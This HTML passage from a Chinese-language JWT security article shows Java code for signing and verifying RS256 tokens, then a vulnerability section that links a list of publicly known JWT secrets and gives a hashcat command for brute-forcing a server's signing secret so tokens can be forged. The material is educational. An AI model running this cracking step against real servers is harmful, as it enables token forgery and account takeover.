<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>System</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">out</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">println</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">claims</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">getSubject</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">());</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">}</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<br />
<span>&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">public</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">static</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> String createJWT</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">String issuer</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> String subject</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> PrivateKey privateKey</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">)</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">{</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>Date now </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">=</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">new</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> Date</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">();</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>Date expiration </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">=</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">new</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> Date</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">now</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">getTime</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">()</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">+</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#0000CF;font-family:Consolas;font-size:9.5pt;">3600</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">*</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#0000CF;font-family:Consolas;font-size:9.5pt;">1000</span></b><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">);</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><i><span lang="EN-US" style="color:#8F5902;font-family:Consolas;font-size:9.5pt;">// 1 hour</span></i><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">return</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> Jwts</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">builder</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">()</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">setIssuer</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">issuer</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">)</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">setSubject</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">subject</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">)</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">setIssuedAt</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">now</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">)</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">setExpiration</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">expiration</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">)</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">signWith</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">privateKey</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> SignatureAlgorithm</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">RS256</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">)</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">compact</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">();</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">}</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<br />
<span>&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">public</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">static</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> Claims parseJWT</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">String token</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> PublicKey publicKey</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">)</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">{</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">return</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> Jwts</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">parserBuilder</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">()</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">setSigningKey</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">publicKey</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">)</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">build</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">()</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">parseClaimsJws</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">token</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">)</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">getBody</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">();</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">}</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<br />
<span>&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">public</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">static</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> KeyPair generateKeyPair</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">()</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">throws</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> NoSuchAlgorithmException </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">{</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>KeyPairGenerator generator </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">=</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> KeyPairGenerator</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">getInstance</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"RSA"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">);</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>generator</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">initialize</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">(</span></b><b><span lang="EN-US" style="color:#0000CF;font-family:Consolas;font-size:9.5pt;">2048</span></b><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">);</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#204A87;font-family:Consolas;font-size:9.5pt;">return</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> generator</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">.</span></b><span lang="EN-US" style="color:#C4A000;font-family:Consolas;font-size:9.5pt;">generateKeyPair</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">();</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">}</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">}</span></b><span lang="EN-US" style="font-family:Consolas;font-size:9.5pt;"></span>
        </p>
</div>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">在这个示例中我们使用了</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Java</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">中的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">KeyPairGenerator</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">类来生成一个</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">2048</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">位的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">RSA</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">密钥对,然后使用私钥生成</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">,使用公钥验证</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">,在创建</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">时我们设置了</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">的颁发者、主题、签发时间和过期时间并使用</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">signWith()</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">方法和</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">SignatureAlgorithm.RS256</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">算法使用私钥进行签名,在验证</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">时我们使用公钥来解析</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">并获取声明的内容,在实际的研发编码中我们一方面要妥善保管密钥,另一方面需要使用较为复杂难以被猜解的密钥作为密钥首选,例如:随机字母</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">+</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">数字的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">32</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">位长度组合</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span style="color:#333333;font-family:宋体;font-size:12.0pt;letter-spacing:.55pt;">漏洞案例</span></b><b><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:12.0pt;letter-spacing:.55pt;"></span></b>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">在实现</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">应用程序时,开发人员有时会犯一些错误,比如:忘记更改默认密码或占位符密码,他们甚至可能复制并粘贴他们在网上找到的代码片段然后忘记更改作为示例提供的硬编码秘密,在这种情况下攻击者使用众所周知的秘密的单词列表来暴力破解服务器的秘密是很容易的,下面是一个公开已知密钥列表:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"><br />
https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list</span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">在这里我们也建议使用</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">hashcat</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">来强力破解密钥,您可以手动安装</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">hashcat</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">,也可以在</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Kali Linux</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">上使用预先安装好的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">hashcat</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">,您只需要一个来自目标服务器的有效的、签名的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">和一个众所周知的秘密的单词表然后就可以运行以下命令,将</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">和单词列表作为参数传入</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">:</span>
</p>
<div style="background:#F7F7F7;border:solid windowtext 1.0pt;padding:12.0pt 12.0pt 12.0pt 12.0pt;">
        <p style="background:#F7F7F7;border:none;font-family:等线;font-size:10.5pt;margin:0cm;padding:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">hashcat </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">a </span><b><span lang="EN-US" style="color:#0000CF;font-family:Consolas;font-size:9.5pt;">0</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">-</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">m </span><b><span lang="EN-US" style="color:#0000CF;font-family:Consolas;font-size:9.5pt;">16500</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">&lt;</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">jwt</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">&gt;</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">&lt;</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">wordlist</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">&gt;</span></b><span lang="EN-US" style="font-family:Consolas;font-size:9.5pt;"></span>
        </p>
</div>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Hashcat</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">会使用单词列表中的每个密钥对来自</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">的报头和有效载荷进行签名,然后将结果签名与来自服务器的原始签名进行比较,如果有任何签名匹配,</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">hashcat</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">将按照以下格式输出识别出的秘密以及其他各种详细信息,由于</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">hashcat</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">在本地机器上运行不依赖于向服务器发送请求,所以这个过程非常快,即使使用一个巨大的单词表一旦您确定了密钥,您就可以使用它为任何</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">报头和有效载荷生成有效的签名</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<div style="background:#F7F7F7;border:solid windowtext 1.0pt;padding:12.0pt 12.0pt 12.0pt 12.0pt;">
        <p style="background:#F7F7F7;border:none;font-family:等线;font-size:10.5pt;margin:0cm;padding:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:justify;text-justify:inter-ideograph;">
